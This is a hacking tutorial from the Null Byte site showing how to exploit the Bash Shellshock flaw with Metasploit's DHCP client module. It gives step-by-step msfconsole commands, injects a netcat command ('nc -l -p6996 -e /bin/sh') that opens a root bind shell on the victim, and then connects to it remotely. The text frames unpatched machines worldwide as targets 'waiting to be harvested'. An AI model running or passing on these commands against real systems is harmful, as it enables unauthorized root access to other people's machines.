Hack Like a Pro: How to Hack the Shellshock Vulnerability « Null Byte :: WonderHowTo

Welcome back, my hacker novitiates!Every so often, a MAJOR vulnerability appears that makes millions of systems vulnerable to attack. The most recent, named Shellshock, basically leaves every Mac OS X, Linux, and UNIX system on the planet vulnerable. As nearly two-thirds of all web servers on planet Earth run one of these operating systems (primarily Linux), that's a whole lot of systems out there waiting to be harvested.This vulnerability is one of the most serious in recent memory. Basically, it leaves nearly every form of Linux, Unix, and Mac OS X vulnerable to "remote code execution." This mean that the hacker can run their own code remotely and do whatever they want on the system, basically owning it.Shellshock will be with us for quite a while,despite efforts to patch systems, as we are only beginning to understand the extent of this vulnerability. Every time a new patch is released, it almost immediately becomes obsolete as new vulnerabilities are being discovered daily. The first proof of concept involved running aCGI scripton the vulnerable system, but that is only scratching the surface of what can be done with this vulnerability.Many network and security admins are now sitting around pretty smug that they havepatched their systemand they are now safe. That is far from the truth! This vulnerability is linked to theBASH shelland any system calls it makes. That list is extremely long! Probably thousands of utilities and applications use BASH for system calls. Furthermore, nearly all the embedded systems, from security systems to automobiles to automated lighting systems use some form of Linux with a BASH shell. ALL are vulnerable to this hack.Of course, the whole industry of IT security administrators are now scrambling to close this hole. Years of experience have taught me that many won't and many more will think they closed it and haven't (there is a fair amount of incompetence among IT security folks, as in other professions). In the meantime, millions are millions of machines are out there, just waiting for your best efforts.Recently, our friends atRapid7, the developers ofMetasploit, released a quick and dirty module that exploits one of the first discovered Shellshock vulnerabilities, namely the exploitation of the BASH shell to send CGI scripts to anApache server. In addition, they also developed a module that enables us to exploit Shellshock using theDHCP service. Let's use that one to attack a Linux system and see how it works.Step 1: Start MetasploitLet's begin, of course, by firing upKali Linuxand starting Metasploit. You should be greeted by a screen similar to the following one.Step 2: Update MetasploitSince this is a new Meatsploit module, it is not in your Metasploit Framework when you downloaded Kali, so we need to update Metasploit. Let's open a terminal and type:kali > msfupdateThis might take awhile, so be patient.Step 3: Find the ExploitNow that we updated our Metasploit and presumably downloaded the new Shellshock modules, let's find this new exploit. In the Metasploit framework, type:msf > search shellshockAs we can see, Metasploit found theauxiliary modulefor attacking the DHCP client using the Shellshock vulnerability.Let's now load that module by typing:msf > use auxiliary/server/dhclient/dhclient_bash_envNow, let's type info to get more information on this module.msf > infoWe can see in the screenshot above each of the various options for this module and some basic information about it. The key parameters are CMD, SRVHOST, and NETMASK.Step 4: Set Up the Module ParametersNow, let's show options.msf > show optionsFirst, let's set the DHCP server IP. This is the SRVHOST parameter.msf > set SVRHOST 192.168.131.254Next, let's set the code that we want to inject through the BASH shell. Although, this module comes with anetcat commandby default, let's change it slightly with a command that I have found gives us better and more reliable results.msf > set CMD /bin/nc -l -p6996 -e /bin/shLastly, let's set the NETMASK.msf > set NETMASK 255.255.255.0Finally, let's simply type "exploit" to run the module.msf > exploitWhen we do so, we simply get the message "Auxiliary module execution completed." In our case here, this simply means that we were able to run our CMD line using the Shellshock vulnerability to set up a netcat listener with root privileges on port 6996 piping out a BASH shell to whoever chooses to connect to it!Step 5: Connect to the Exploited SystemNow that we have injected netcat into the vulnerable system, we should be able to connect to that machine remotely with administrative/root privileges. We would then own that machine!For demonstration purposes, let's connect to that system with a Windows machine remotely by connecting to the netcat listener. First, open a command prompt on the Windows system and type:c::\nc 192.168.131.129 6996When we do so, it will return a blank line. When we type "ifconfig":ifconfigIt returns the network settings of the exploited Linux system. Now, to confirm our privilege level, let's type "whoami":whoamiIn this screenshot, you can see that we have not only been able to access the system remotely, but we have root privileges. We OWN this system!The Shellshock vulnerability makes nearly every system that runs a version of UNIX, Linux, or Mac OS X vulnerable to exploitation. Since the vulnerability is related to the BASH shell and its system calls, the number of vulnerabilities and exploits will become nearly innumerable.This hack utilizes the BASH system call to the DHCP client, but this is just one of many potential exploits. Apple and the major Linux distributions have all issued patches, but there are still innumerable ways to get past these patches. I expect them to be issuing new patches almost weekly as we find more and more exploits taking advantage of the Shellshock vulnerability.I will keep you up to date on each of these new hacks, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaSteve JenkinsRelatedHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Exploit Shellshock-Vulnerable Websites with Just a Web BrowserNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Audit Web Applications & Servers with TishnaHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesBASH SHELLSHOCK:Am I Still Vulnerable? - a Different Approach for Linux.Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftWhite Hat Hacking:Hack the Pentagon?Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How to Complete Shellshock 2:Blood Trails for the PS3Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7The Panama Papers Hack:Further Proof That Hacking Is Changing the WorldHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Find Your Computer's Vulnerability Using LynisNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:Fix Your Hacked and Malware-Infested Website with GoogleHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Hack web browsers with BeEFHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesNews:Best Hacking SoftwareNull Byte:Never Let Us DieHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Flaw in Facebook & Google Allows Phishing, Spam & More